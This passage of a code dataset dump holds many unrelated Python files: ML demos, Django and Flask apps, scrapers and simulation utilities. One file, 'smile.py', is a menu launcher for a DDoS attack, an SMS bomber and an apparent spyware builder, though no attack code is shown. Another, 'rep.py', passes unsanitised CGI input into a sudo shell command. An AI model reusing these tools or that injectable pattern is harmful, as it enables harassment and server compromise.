spinal locomotor circuit/Version 2/Single_coiling_V0d_KO.py","file_name":"Single_coiling_V0d_KO.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"388930001","text":"import pandas as pd\nfrom sklearn import linear_model as lm\nimport matplotlib.pyplot as plt\n\n#read the dataset with pandas\n# kaggle link - https://www.kaggle.com/jamesbasker/height-weight-single-variable-data-101-series-10\ndata = pd.read_csv('./human_height_weight.csv')\n\n# X and Y Values\nx_values = data[['Weight']]\ny_values = data[['Height']]\n\n# Create Linear Model\nregression_line = lm.LinearRegression()\nregression_line.fit(x_values,y_values)\n\n#predict a sample\n#I am a short guy\n#matplotlib marker list - https://matplotlib.org/api/markers_api.html\n# s denots size\nplt.scatter(73,168,color='green',marker='*',alpha=0.8,s=400)\n\n#scatter actual values\nplt.scatter(x_values,y_values,s=10)\n\n#plot the regression line\nplt.plot(x_values,regression_line.predict(x_values),color='black',linewidth=1)\n\n#display the graph\nplt.show()\n","sub_path":"1-LinearRegression/2/2-human_height_weight_linear_regression.py","file_name":"2-human_height_weight_linear_regression.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"334979333","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns=[\nurl(r'^$', views.index),\nurl(r'^register$', views.register),\nurl(r'^clear$', views.clear),\nurl(r'^delete/(?P\\d*)$', views.delete),\nurl(r'^logIn$', views.logIn),\nurl(r'^message$', views.message)\n]\n","sub_path":"python1-2/django/a17_theWall/apps/wall/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"221692534","text":"import requests\nfrom bs4 import BeautifulSoup\n\nsession1 = requests.Session()\nsession1.headers[\"User-Agent\"] = \"Mozilla/5.0\"\ncontents = session1.get(\n 'https://www.usnews.com/education/best-high-schools/new-york/districts/new-york-city-public-schools/brooklyn-technical-high-school-13269')\ncontents1 = contents.content\nsoup = BeautifulSoup(contents1, 'lxml')\n\nrankings = []\nfor text in soup.find_all('span', style=\"margin: 0;\"):\n rankings.append(text.text)\n\nnationalrankings = session1.get('https://www.usnews.com/education/best-high-schools/national-rankings')\ncontents2 = nationalrankings.content\nsoup1 = BeautifulSoup(contents2, 'lxml')\nhighschoolname = []\nhighschoolranking = []\nfor name in soup1.find_all('a', class_='search-result-link'):\n name = name.text\n highschoolname.append(name)\nfor ranking in soup1.find_all('span', class_='text-normal text-strong'):\n ranking = ranking.text\n highschoolranking.append(ranking[22:24])\nfor x, y in zip(highschoolname, highschoolranking):\n print(f' The {x} is ranked {y} in the nation!')\n\nnationalranking = int(rankings[0])\ncollegereadiness = rankings[2]\n\nroberthgoddardweb = session1.get('https://www.schooldigger.com/go/NY/schools/0012306047/school.aspx')\ncontents3 = roberthgoddardweb.content\nsoup3 = BeautifulSoup(contents3, 'lxml')\n\nfor nycschools in soup3.find_all('div', id='ctl00_ContentPlaceHolder1_ssSummary_divRankingInfo'):\n nycschools1 = nycschools.text\n print(f\"Robert H Goddard Ranking is {nycschools1[2:58]}\")\n\nhawtree = session1.get('https://www.schooldigger.com/go/NY/schools/0012306436/school.aspx')\ncontents4 = hawtree.content\nsoup4 = BeautifulSoup(contents4, 'lxml')\n\nfor nycschools in soup4.find_all('div', id='ctl00_ContentPlaceHolder1_ssSummary_divRankingInfo'):\n nycschools2 = nycschools.text\n print(f\"Hawtree Creeks Ranking is {nycschools2[2:59]}\")\n\nprint(f'Brooklyn Tech is ranked {nationalranking} in the nation!')\nprint(f'Brooklyn Tech college readiness ranking is {collegereadiness}')\n","sub_path":"BrooklynTechRanking.py","file_name":"BrooklynTechRanking.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"629007295","text":"import csv\nimport datetime\nfrom io import TextIOWrapper\n\nfrom django.urls import path\nfrom django.contrib import admin\nfrom django.shortcuts import render, redirect\nfrom django.utils.translation import gettext_lazy\nfrom rangefilter.filter import DateRangeFilter\n\nfrom ..models import Instrument, Slot\nfrom ..forms.adminForms import BulkTimeSlotForm\n\n\nclass SlotFilterByInstrument(admin.SimpleListFilter):\n # Name to be displayed on the admin portal\n title = gettext_lazy(\"Instrument\")\n\n parameter_name = 'instrument'\n\n def lookups(self, request, model_admin):\n \"\"\"Returns a list of tuples. The first element\n in each tuple is the coded value for the option\n that will appear in the URL query. The second value\n is the human-readable name for the option that will\n appear in the right side bar\"\"\"\n\n return (\n (instr.id, gettext_lazy(str(instr)))\n for instr in Instrument.objects.all()\n )\n\n def queryset(self, request, queryset):\n \"\"\"Returns the filtered queryset based on the\n value provided in the query string and retrievable\n via `self.value()`\"\"\"\n\n return (\n queryset if self.value() is None\n else queryset.filter(instrument__id=self.value())\n )\n\n\nclass SlotAdmin(admin.ModelAdmin):\n change_list_template = \"admin/slot_change_list.html\"\n list_filter = (\n ('date', DateRangeFilter),\n 'status',\n SlotFilterByInstrument\n )\n list_display = admin.ModelAdmin.list_display + ('status',)\n\n # 'Add Slot' button is only visible to the admin\n def has_add_permission(self, request):\n if request.user.is_superuser:\n return True\n return False\n\n def time_left(self, current, end, duration):\n \"\"\"Checks if a slot can be made with `current time` and\n `duration` before the `end time`\"\"\"\n today = datetime.date.today()\n diff = (datetime.datetime.combine(today, end) -\n datetime.datetime.combine(today, current))\n\n return (diff >= duration)\n\n def get_urls(self):\n urls = super().get_urls()\n my_urls = [\n path(\"bulk-slots/\", self.generate_slots),\n ]\n return my_urls + urls\n\n def generate_slots(self, request):\n \"\"\"Bulk Import Slots has a form for creating slots.\n This form is restricted to staff.\n \"\"\"\n ## TODO: Check time slot overlap\n\n INTERVAL_CHOICES = {\n \"1-hour\": datetime.timedelta(hours=1),\n \"2-hour\": datetime.timedelta(hours=2),\n \"3-hour\": datetime.timedelta(hours=3),\n \"4-hour\": datetime.timedelta(hours=4),\n \"6-hour\": datetime.timedelta(hours=6),\n \"8-hour\": datetime.timedelta(hours=8),\n }\n\n if request.method == 'POST':\n\n ## get the queryset for instruments\n try:\n instr = Instrument.objects.filter(\n id=request.POST.get('instruments'))\n except ValueError:\n instr = Instrument.objects.all()\n\n\n ## preproces the form fields to desired objects\n ## `today` the starting day for slot creation\n today = datetime.datetime.strptime(\n request.POST.get('date'), '%Y-%m-%d')\n start_time = int(request.POST.get('start_time').split(':')[0])\n end_time = int(request.POST.get('end_time').split(':')[0])\n duration = INTERVAL_CHOICES.get(\n request.POST.get('lab_duration'), None)\n delta = int(request.POST.get('for_the_next'))\n ## number of days for which the timeslot has to be made\n\n ## handle exceptional cases and return to previous page\n if start_time >= end_time:\n return redirect('..')\n if duration == None:\n return redirect('..')\n if today.date() < datetime.date.today():\n return redirect('..')\n\n # get the next `delta` days after `today`\n today_weekday = today.weekday()\n next_days = [\n today + datetime.timedelta(days=var) for var in range(0, delta)]\n\n ## generate datetime objects for the next `delta` days\n all_slots = {}\n for day in next_days:\n day_wise = []\n current = datetime.time(hour=start_time)\n end = datetime.time(hour=end_time)\n while current < end and self.time_left(current, end, duration) == True:\n day_wise.append(datetime.datetime.combine(day, current))\n current = datetime.time(\n hour=(datetime.datetime.combine(day, current) + duration).hour)\n all_slots[day] = day_wise\n\n ## Interate over the queryset and create slots\n for temp_instr in instr:\n for day, time_slots in all_slots.items():\n for time_slot in time_slots:\n ## Check if the slot already exists\n if not Slot.objects.filter(\n duration=INTERVAL_CHOICES.get(\n request.POST.get('lab_duration')\n ),\n instrument=temp_instr,\n date=day,\n time=time_slot.time()).exists():\n\n slot_obj = Slot(\n duration=INTERVAL_CHOICES.get(\n request.POST.get('lab_duration')\n ),\n instrument=temp_instr,\n status=Slot.STATUS_1,\n date=day,\n time=time_slot.time())\n\n slot_obj.save()\n\n return redirect(\"..\")\n\n else:\n form = BulkTimeSlotForm()\n payload = {\"form\": form}\n return render(\n request, \"admin/bulk_import_slots_form.html\", payload\n )\n","sub_path":"server/booking_portal/admin/slot.py","file_name":"slot.py","file_ext":"py","file_size_in_byte":6151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"114653490","text":"from flask import Flask, render_template, redirect, request\nimport data_manager\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef route_index():\n stories = data_manager.read_file_as_table(\"stories.csv\")\n return render_template(\"list.html\", stories=stories)\n\n@app.route(\"/story\")\ndef route_story():\n empty_story = [\"\"]*6 #dark magic\n return render_template(\"form.html\", story=empty_story)\n\n@app.route(\"/save-story\", methods=[\"POST\"])\ndef route_save():\n stories = data_manager.read_file_as_table(\"stories.csv\")\n print([request.form[\"1\"]])\n # editing story\n for index, story in enumerate(stories):\n if story[0] == request.form[\"6\"]:\n edited_story = [story[0]]\n for name in range(6):\n edited_story.append(request.form[str(name)])\n stories[index] = edited_story\n data_manager.write_file(\"stories.csv\", stories)\n return redirect(\"/\")\n # new story\n try:\n new_id = int(stories[-1][0]) + 1\n\n except IndexError:\n new_id = 1\n\n new_story = [str(new_id)]\n for name in range(6):\n new_story.append(request.form[str(name)])\n stories.append(new_story)\n data_manager.write_file(\"stories.csv\", stories)\n return redirect(\"/\")\n\n@app.route(\"/story/\")\ndef route_edit(id):\n stories = data_manager.read_file_as_table(\"stories.csv\")\n\n for story in stories:\n if id == story[0]:\n for sub_index, phrase in enumerate(story):\n story[sub_index] = phrase.replace(\"
\", \"\\n\")\n current_story = story\n return render_template(\"form.html\", story=current_story)\n\n@app.route(\"/delete-story/\")\ndef route_delete(id):\n stories = data_manager.read_file_as_table(\"stories.csv\")\n for index, story in enumerate(stories):\n if id == story[0]:\n del stories[index]\n data_manager.write_file(\"stories.csv\", stories)\n return redirect(\"/\")\n\nif __name__ == \"__main__\":\n app.run(\n debug=True,\n port=5000\n )","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"53428056","text":"import pandas as pd\n\nfrom math import inf, isinf\nfrom timeit import default_timer\nfrom abc import ABC, abstractmethod\n\n\nclass Simulation(ABC):\n def print(self, data, condition=True):\n if not isinstance(data, dict):\n raise TypeError('print data must be a dict')\n if not data:\n raise ValueError('print data must have at least one item')\n if condition:\n print(', '.join('{}: {}'.format(key, value) for key, value in data.items()))\n\n def print_every(self, data, counter, interval):\n if not isinstance(counter, int):\n raise TypeError('print counter must be an integer')\n if counter <= 0:\n raise ValueError('print counter must be positive')\n if not isinstance(interval, int):\n raise TypeError('print interval must be an integer')\n if interval <= 0:\n raise ValueError('print interval must be positive')\n self.print(data, counter % interval == 0)\n\n def append(self, data):\n if not isinstance(data, dict):\n raise TypeError('append data must be a dict')\n if not data:\n raise ValueError('append data must have at least one item')\n if self.data:\n if self.data.keys() != data.keys():\n raise KeyError('append data keys must be always the same')\n for key in data:\n prev = self.data[key][-1]\n curr = data[key]\n if prev is not None and curr is not None and type(prev) != type(curr):\n raise TypeError('append data values must not change the type')\n else:\n for key in data:\n self.data[key] = []\n for key, value in data.items():\n self.data[key].append(value)\n\n def before_each(self):\n pass\n\n def before_iter(self):\n pass\n\n @abstractmethod\n def iterate(self):\n return False\n\n def after_iter(self, iteration, elapsed):\n pass\n\n def after_each(self, repetition, iterations, elapsed):\n pass\n\n def run(self, times=1, max_iter=inf):\n if not isinstance(times, int):\n raise TypeError('run times must be an integer')\n if times <= 0:\n raise ValueError('run times must be positive')\n\n if not isinstance(max_iter, int) and not (isinstance(max_iter, float) and isinf(max_iter)):\n raise TypeError('run iters must be an integer or inf')\n if max_iter <= 0:\n raise ValueError('run iters must be positive')\n\n self.data = {}\n\n repetition = 1\n while True:\n self.before_each()\n start_each = default_timer()\n\n iteration = 1\n while True:\n self.before_iter()\n start_iter = default_timer()\n\n repeat = self.iterate()\n\n end_iter = default_timer()\n self.after_iter(iteration, end_iter - start_iter)\n\n if repeat and iteration < max_iter:\n iteration += 1\n else:\n break\n\n end_each = default_timer()\n self.after_each(repetition, iteration, end_each - start_each)\n\n if repetition < times:\n repetition += 1\n else:\n break\n\n return pd.DataFrame(self.data)\n","sub_path":"freeman/simulating.py","file_name":"simulating.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"519248412","text":"class Solution:\n\n def permute(self, nums):\n\n if len(nums) == 1:\n return [nums]\n if len(nums) == 2:\n return [nums, [nums[1], nums[0]]]\n\n num = nums.pop()\n permutations = self.permute(nums)\n cyclic_permutations = []\n for permutation in permutations:\n permutation.append(num)\n size = len(permutation)\n for cycle in range(size):\n cyclic_permutation = [\n permutation[(i+cycle)%size] for i in range(size)\n ]\n cyclic_permutations.append(cyclic_permutation)\n return cyclic_permutations\n","sub_path":"coding/leetcode/fb/permutations_cyclic.py","file_name":"permutations_cyclic.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"28269095","text":"import pandas as pd\nimport os\nimport sys\nimport MeCab\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n#出現の割合の下限値を入力すると,それに満たない語を出力\ndef stop_word_min(corpus, num):\n count_vectorizer = CountVectorizer(max_df=num)\n X_count = count_vectorizer.fit_transform(corpus)\n \n return count_vectorizer.get_feature_names()\n \n#出現の割合の上限値を入力すると,それを超える語を出力\ndef stop_word_max(corpus, num):\n count_vectorizer = CountVectorizer(min_df=num)\n X_count = count_vectorizer.fit_transform(corpus)\n \n return count_vectorizer.get_feature_names()\n \nreview_df = pd.read_csv(\"1005data.csv\")\nreview_df = review_df.rename(columns={'Unnamed: 0':'index', 'title':'title', 'rate':'score', 'reviews':'review'}) \n\n#文書を分かち書きにする関数\ndef analyze(text):\n tagger = MeCab.Tagger(\"-Ochasen\")\n tagger.parse('')\n node = tagger.parseToNode(text)\n wakati = ''\n while node:\n word = node.surface\n wclass = node.feature.split(',')\n #mecabは以下の順でnode.featureに情報を入れる [0]品詞,[1]品詞細分類1,[2]品詞細分類2,[3]品詞細分類3,[4]活用形,[5]活用型,[6]原形,[7]読み,[8]発音\n if (\n #wclass[0] == '記号' or\n wclass[0] == '形容詞' or\n #wclass[0] == '助詞' or\n #wclass[0] == '助動詞' or\n #wclass[0] == '接続詞' or\n #wclass[0] == '接頭詞' or\n wclass[0] == '動詞' or\n #wclass[0] == '副詞' or \n wclass[0] == '名詞'\n #wclass[0] == '連体詞'\n ):\n if wclass[6] != '*':\n wakati += wclass[6] + ' '\n node = node.next\n return wakati\n\n#コーパスを分かち書きにする関数\ndef make_data(pd):\n training = []\n for index in pd.index:\n sent = analyze(pd.at[index,'review'])\n training.append(sent)\n \n return training","sub_path":"utils/stop_word.py","file_name":"stop_word.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"623512565","text":"#!/usr/bin/python3\nprint(\"content-type: text/html\")\nprint()\n\n\nimport cgi\nimport subprocess\ncmd = cgi.FieldStorage()\ncont=cmd.getvalue(\"y\")\nrep=cmd.getvalue(\"z\")\nreps=subprocess.getoutput('sudo kubectl scale --replicas=' +rep + \" \" ' deployment/' +cont + ' --kubeconfig /root/k8s_tasks/admin.conf')\n\nprint(\"Your replica created Successfully Launch : \" +reps)\n\n","sub_path":"rep.py","file_name":"rep.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"513899370","text":"import os\nfrom termcolor import cprint\nimport time\nimport bib\nimport starter\n#===========================================================#\nversion = 1.1\nname = \"SMILE\"\ntelegram = \"https://t.me/joinchat/HjGMuxRLkBABTNdciMaQbw\"\ngithub = \"https://github.com/sidq-corp/SMILE.git\"\n\n#===========================================================#\n\ndef main():\n\tprint( '''\n\tВыберете программу или утилиту\n{001} DDOS attack \n{002} SMS bomber\n{003} (s)AINT builder\n{004} ...\n{005} ...\n{000} Проветить наличие обновлений\n{099} Выход\n{100} Самоуничтожение(удаление всех файлов и директорий \"SMILE\")\n\t''')\n\n\n\n\ndef maincheck(ch):\n\tif ch == 1:\n\t\tstarter.ddos()\n\t\treturn True\n\telif ch == 2:\n\t\tstarter.bomber()\n\t\treturn True\n\telif ch == 3:\n\t\tstarter.saint()\n\t\treturn True\n\telif ch == 4:\n\t\tpass\n\t\treturn True\n\telif ch == 5:\n\t\tpass\n\t\treturn True\n\telif ch == 0:\n\t\tbib.updates(version,github);\n\t\treturn True\n\telif ch == 99:\n\t\tos.system('clear')\n\t\treturn False\n\t\tquit();\n\telif ch == 100:\n\t\tbib.delete()\n\t\tos.system('clear')\n\t\treturn False\n\t\tquit()\n\telse:\n\t\tprint('Номер отсутсвует')\n\t\ttime.sleep(1)\n\t\treturn True\n\nbib.hello(version, telegram)\nmain()\nmaint = True\n\nwhile maint:\n\tos.system('clear')\n\tbib.hello(version, telegram)\n\tmain()\n\tn=input()\n\ttry:\n\t\tmaint = maincheck(int(n))\n\texcept: \n\t\tmaint = True\n\t\t\n\t\n\t\n","sub_path":"smile.py","file_name":"smile.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"575499917","text":"# A unit fraction contains 1 in the numerator. The decimal representation of the unit fractions\n# with denominators 2 to 10 are given:\n#\n# 1/2\t= \t0.5\n# 1/3\t= \t0.(3)\n# 1/4\t= \t0.25\n# 1/5\t= \t0.2\n# 1/6\t= \t0.1(6)\n# 1/7\t= \t0.(142857)\n# 1/8\t= \t0.125\n# 1/9\t= \t0.(1)\n# 1/10\t= \t0.1\n#\n# Where 0.1(6) means 0.166666..., and has a 1-digit recurring cycle. It can be seen that 1/7 has a\n# 6-digit recurring cycle.\n#\n# Find the value of d < 1000 for which 1/d contains the longest recurring cycle in its decimal fraction part.\n\ndef get_cycle(n):\n remainders = [0]\n\n r = 1 % n\n\n while r not in remainders:\n remainders.append(r)\n r = 10 * r % n\n\n return remainders\n\nlongest = 0\nfor n in range(1, 1000):\n cycle = get_cycle(n)\n longest = max(longest, len(cycle))\n\nprint(longest)\n\n# Answer: 983\n\n","sub_path":"euler_026.py","file_name":"euler_026.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"516973702","text":"import os\nimport sys\nimport logging\nimport pprint\n\nfrom enum import Enum\nfrom optparse import OptionParser\nfrom clang.cindex import Index, Config, CursorKind\n\nimport bang_native_file_change_detector\nfrom bang_native_generator import BangNativeGenerator\nfrom bang_native_parser import BangNativeParser\nfrom syspaths import ccsyspaths_improved\n\n\ndef find_and_parse_class(cursor, class_type, class_name):\n \"\"\"\n Goes through all cursors and tries to fetch the class\n @param cursor: The top-most cursor\n @param class_type: The type of the class to parse, must be CursorKind.STRUCT_DECL or CursorKind.CLASS_DECL\n @param class_name: The name of the class to find\n @type cursor: Cursor\n @type class_type: CursorKind\n @type class_name: str\n @return: The parsed class\n @rtype: LunaClass\n \"\"\"\n\n def get_info(node, max_depth, depth=0):\n if max_depth is not None and depth >= max_depth:\n children = None\n else:\n children = [get_info(c, max_depth, depth + 1)\n for c in node.get_children()]\n return {'kind': node.kind,\n 'start': node.extent.start,\n 'end': node.extent.end,\n 'spelling': node.spelling,\n 'type': node.type.kind,\n 'is_definition': node.is_definition(),\n 'children': children}\n\n def dump_cursor(cursor_to_dump):\n print(str(get_info(cursor_to_dump, 10)))\n\n def has_fields(class_cursor):\n \"\"\"\n @param class_cursor: The class cursor\n @type class_cursor: Cursor\n @return: True, if the class cursor has fields\n @rtype: bool\n \"\"\"\n for nextPossibleField in class_cursor.get_children(): # type: Cursor\n if nextPossibleField.kind == CursorKind.FIELD_DECL:\n return True\n return False\n\n if cursor.spelling == class_name and cursor.kind == class_type:\n return cursor\n\n for nextChild in cursor.get_children(): # type: Cursor\n call_result = find_and_parse_class(nextChild, class_type, class_name)\n if call_result is not None:\n return call_result\n\n\ndef create_dirs_for_filename(filename):\n try:\n os.makedirs(os.path.dirname(filename))\n except os.error:\n pass\n\n\ndef main():\n parser = OptionParser(\"usage: %prog input-file-list [options]\")\n parser.add_option(\"-i\", \"--input-folder\", dest=\"input\",\n help=\"The input folder, where all header files should be extracted for parsing\", type=\"string\")\n parser.add_option(\"-l\", \"--clang-bin-path\", dest=\"clang_path\",\n help=\"The path to the libclang file\", type=\"string\")\n parser.add_option(\"--cache-file\", dest=\"cache_file\",\n help=\"The json file for the parsing cache\", type=\"string\")\n parser.add_option(\"--generate-header-filename\", dest=\"gen_header\",\n help=\"The filename for the generated header file\", type=\"string\", default=\"output/SymBangTableGenerated.h\")\n parser.add_option(\"--generate-def-filename\", dest=\"gen_def\",\n help=\"The filename for the generated def file\", type=\"string\", default=\"output/BangNativeGenerated.def\")\n parser.add_option(\"--addr-alloc\", dest=\"ptr_alloc\",\n help=\"The address to allocation\", type=int, default=0x00767BD3)\n parser.add_option(\"--addr-alloc-array\", dest=\"ptr_alloc_array\",\n help=\"The address to array allocation\", type=int, default=0x0076861D)\n parser.add_option(\"--addr-delete\", dest=\"ptr_delete\",\n help=\"The address to memory deletion\", type=int, default=0x00767B0D)\n parser.disable_interspersed_args()\n (options_result, args) = parser.parse_args()\n\n # Check for args\n # 1. Input file\n if len(args) <= 0:\n parser.error(\"No input file list\")\n\n # Fetch args\n input_file = args[0]\n\n # Read all\n class_names = []\n try:\n with open(input_file) as f:\n class_names = f.readlines()\n except IOError:\n parser.error(\"Failed to open file \" + input_file)\n class_names = [x.strip() for x in class_names] # Cleanup string\n class_names = list(filter(None, class_names)) # Remove all empty strings\n\n # Options\n # output_dir = options_result.output\n # if output_dir is None:\n # output_dir = os.path.normpath(os.path.join(os.path.dirname(os.path.realpath(sys.argv[0])), \"output\"))\n create_dirs_for_filename(options_result.gen_header)\n create_dirs_for_filename(options_result.gen_def)\n opt_input_folder = options_result.input or '.'\n opt_cache_folder = options_result.cache_file or os.path.join(options_result.gen_header, \"gen-cache.json\")\n\n # Check if generating is needed\n if not bang_native_file_change_detector.has_file_changes(opt_input_folder, class_names,\n os.path.normpath(os.path.join(opt_input_folder, \".bang-hash\"))):\n print(\"Skipping as no file changes has been done\")\n return\n\n args = '-x c++ --std=c++17 -m32 -D__BANG_NATIVE_CODE_GENERATOR__'.split()\n parser = BangNativeParser(options_result.clang_path, args, opt_cache_folder)\n parser.read_entries(opt_input_folder, class_names)\n\n if not parser.has_read_all_from_cache():\n generator = BangNativeGenerator(options_result.gen_header, options_result.gen_def,\n options_result.ptr_alloc, options_result.ptr_alloc_array, options_result.ptr_delete)\n generator.generate(parser.get_parsed_classes())\n else:\n print(\"Skipping as everything has been read from cache, no generation needed\")\n\n bang_native_file_change_detector.write_file_change_hash(opt_input_folder, class_names,\n os.path.normpath(os.path.join(opt_input_folder, \".bang-hash\")))\n\nif __name__ == '__main__':\n main()\n","sub_path":"modules/BangNative/tools/BangNativeGenBindings/bang_native_gen_bindings_main.py","file_name":"bang_native_gen_bindings_main.py","file_ext":"py","file_size_in_byte":5933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"567831989","text":"\"\"\"\r\nSecondMonitor SharedMemory\r\nNo licence apply.\r\nBased on SharedMemory from CrewChief - https://github.com/mrbelowski/CrewChiefV4\r\n\"\"\"\r\nimport mmap\r\nimport os\r\nimport struct\r\nimport functools\r\nimport ctypes\r\nfrom ctypes import c_float, c_char, c_int32\r\n\r\nclass vec3(ctypes.Structure):\r\n _pack_ = 4\r\n _fields_ = [\r\n ('x', c_float),\r\n ('y', c_float),\r\n ('z', c_float),\r\n ]\r\n\r\nclass acsVehicleInfo(ctypes.Structure):\r\n _pack_ = 4\r\n _fields_ = [\r\n ('carId', c_int32),\r\n ('driverName', c_char * 64),\r\n ('carModel', c_char * 64),\r\n ('speedMS', c_float),\r\n ('bestLapMS', c_int32),\r\n ('lapCount', c_int32),\r\n ('currentLapInvalid', c_int32),\r\n ('currentLapTimeMS', c_int32),\r\n ('lastLapTimeMS', c_int32),\r\n ('worldPosition', vec3),\r\n ('isCarInPitline', c_int32),\r\n ('isCarInPit', c_int32 ),\r\n ('carLeaderboardPosition', c_int32),\r\n ('carRealTimeLeaderboardPosition', c_int32),\r\n ('spLineLength', c_float),\r\n ('isConnected', c_int32),\r\n ('finishStatus', c_int32),\r\n ]\r\n\r\nclass SPageFilesecondMonitor(ctypes.Structure):\r\n _pack_ = 4\r\n _fields_ = [\r\n ('numVehicles', c_int32),\r\n ('focusVehicle', c_int32),\r\n ('serverName', c_char * 512),\r\n ('vehicleInfo', acsVehicleInfo * 64),\r\n ('acInstallPath', c_char * 512),\r\n ('pluginVersion', c_char * 32)\r\n ]\r\n\r\nclass SecondMonitorShared:\r\n def __init__(self):\r\n self._acpmf_secondMonitor = mmap.mmap(0, ctypes.sizeof(SPageFilesecondMonitor),\"acpmf_secondMonitor\")\r\n self.secondMonitor = SPageFilesecondMonitor.from_buffer(self._acpmf_secondMonitor)\r\n\r\n def close(self):\r\n self._acpmf_secondMonitor.close()\r\n\r\n def __del__(self):\r\n self.close()\r\n\r\n def getsharedmem(self):\r\n return self.secondMonitor\r\n\r\n","sub_path":"Artifacts/Dependencies/AssettoCorsa/AssettoCorsaPlugin/smshared_mem.py","file_name":"smshared_mem.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"212503616","text":"import Ant_Colony_OOP as ac\nimport Genetic_Algorithm as ga\nimport os\n\ndef batchTest(tourSize, isAnts):\n acPara = [[0.4, 0.9, 0.3], [0.5, 0.8, 0.4], [0.6, 0.7, 0.5], [0.7, 0.6, 0.6], [0.4, 0.8, 0.6]]\n gaPara = [[5, 40, 20], [10, 25, 30], [15, 30, 40], [20, 25, 50], [10, 30, 40]]\n fileName = \"NEWAISearchfile\" + (str(tourSize) if tourSize > 100 else \"0\" + str(tourSize)) + \".txt\"\n pathDirectory = \"Ant\" if isAnts else \"Genetic\"\n algoName = \"Ant_Tour_\" if isAnts else \"Genetic_Tour_\"\n file = open(os.path.join(os.getcwd(), \"Compared_Results_\" + pathDirectory, algoName + str(tourSize)), \"w+\")\n if isAnts:\n file.write(\"Tour Size: \" + str(tourSize))\n for index in range(len(acPara)):\n average, best, worst = testAnts(fileName, acPara[index][0], acPara[index][1], acPara[index][2])\n file.write(\"\\n\\nParameters:\\nEvaporation Rate: %s\\nPheromone Factor: %s\\nEdge Weight: %s\" % (acPara[index][0], acPara[index][1], acPara[index][2]))\n file.write(\"\\nAverage Tour Length: %s\\nBest Tour: %s\\nWorst Tour: %s\" %(average, best, worst))\n else:\n file.write(\"Tour Size: \" + str(tourSize))\n for index in range(len(acPara)):\n average, best, worst = testGenetic(fileName, gaPara[index][0], gaPara[index][1], gaPara[index][2])\n file.write(\"\\n\\nParameters:\\nMutation Rate: %s\\nPopulation Size: %s\\nGenerations: %s\" % (gaPara[index][0], gaPara[index][1], gaPara[index][2]))\n file.write(\"\\nAverage Tour Length: %s\\nBest Tour: %s\\nWorst Tour: %s\" % (average, best, worst))\n\ndef testAnts(fileName, evapRate, pheromoneFactor, edgeFactor):\n best, total = ac.testAnts(fileName, evapRate, pheromoneFactor, edgeFactor)\n worst = best\n for index in range(5):\n newLength, average = ac.testAnts(fileName, evapRate, pheromoneFactor, edgeFactor)\n total += average\n if newLength < best:\n best = newLength\n elif newLength > worst:\n worst = newLength\n return total / 6, best, worst\n\ndef testGenetic(fileName, mutationChance, populationSize, generations):\n best, total = ga.testGeneticAlgorithm(fileName, mutationChance, populationSize, generations)\n worst = best\n for index in range(5):\n newLength, average = ga.testGeneticAlgorithm(fileName, mutationChance, populationSize, generations)\n total += average\n if newLength < best:\n best = newLength\n elif newLength > worst:\n worst = newLength\n return total / 6, best, worst\n\nfor tour in [17, 21, 26, 42, 48]:\n batchTest(tour, True)\n batchTest(tour, False)\n\n","sub_path":"Comparison_Script.py","file_name":"Comparison_Script.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"40013960","text":"import numpy as np\n\n\nclass GradientDescent():\n def __init__(self, num_of_points=10000, max_iter=1000, step=1e-3, tol=1e-3, verbose=True, mode='const step'):\n self.num_of_points = num_of_points\n self.max_iter = max_iter\n self.step = step\n self.tol = tol\n self.verbose = verbose\n self.mode = mode\n\n def calc_deriv_by_step(self, u, step):\n deriv_1 = self.problem.calc_deriative(u - step * self.problem.calc_deriative(u))\n deriv_2 = self.problem.calc_deriative(u)\n return -self.problem.calc_dot(deriv_1, deriv_2)\n\n def find_best_step(self, u, tol):\n left = 0.\n right = 1.\n deriv = self.calc_deriv_by_step(u, right)\n while deriv < 0:\n right *= 2\n deriv = self.calc_deriv_by_step(u, right)\n while right - left >= tol:\n mid = (right + left) / 2\n mid_deriv = self.calc_deriv_by_step(u, mid)\n if mid_deriv > 0:\n right = mid\n elif mid_deriv < 0:\n left = mid\n else:\n return mid\n return (right + left) / 2\n\n def optimize(self):\n u = np.zeros(self.num_of_points)\n for iter in range(self.max_iter):\n if self.mode == 'const step':\n step = self.step\n elif self.mode == 'fastest':\n step = self.find_best_step(u, 1e-4)\n else:\n raise TypeError('Unknown mode: ' + str(mode))\n 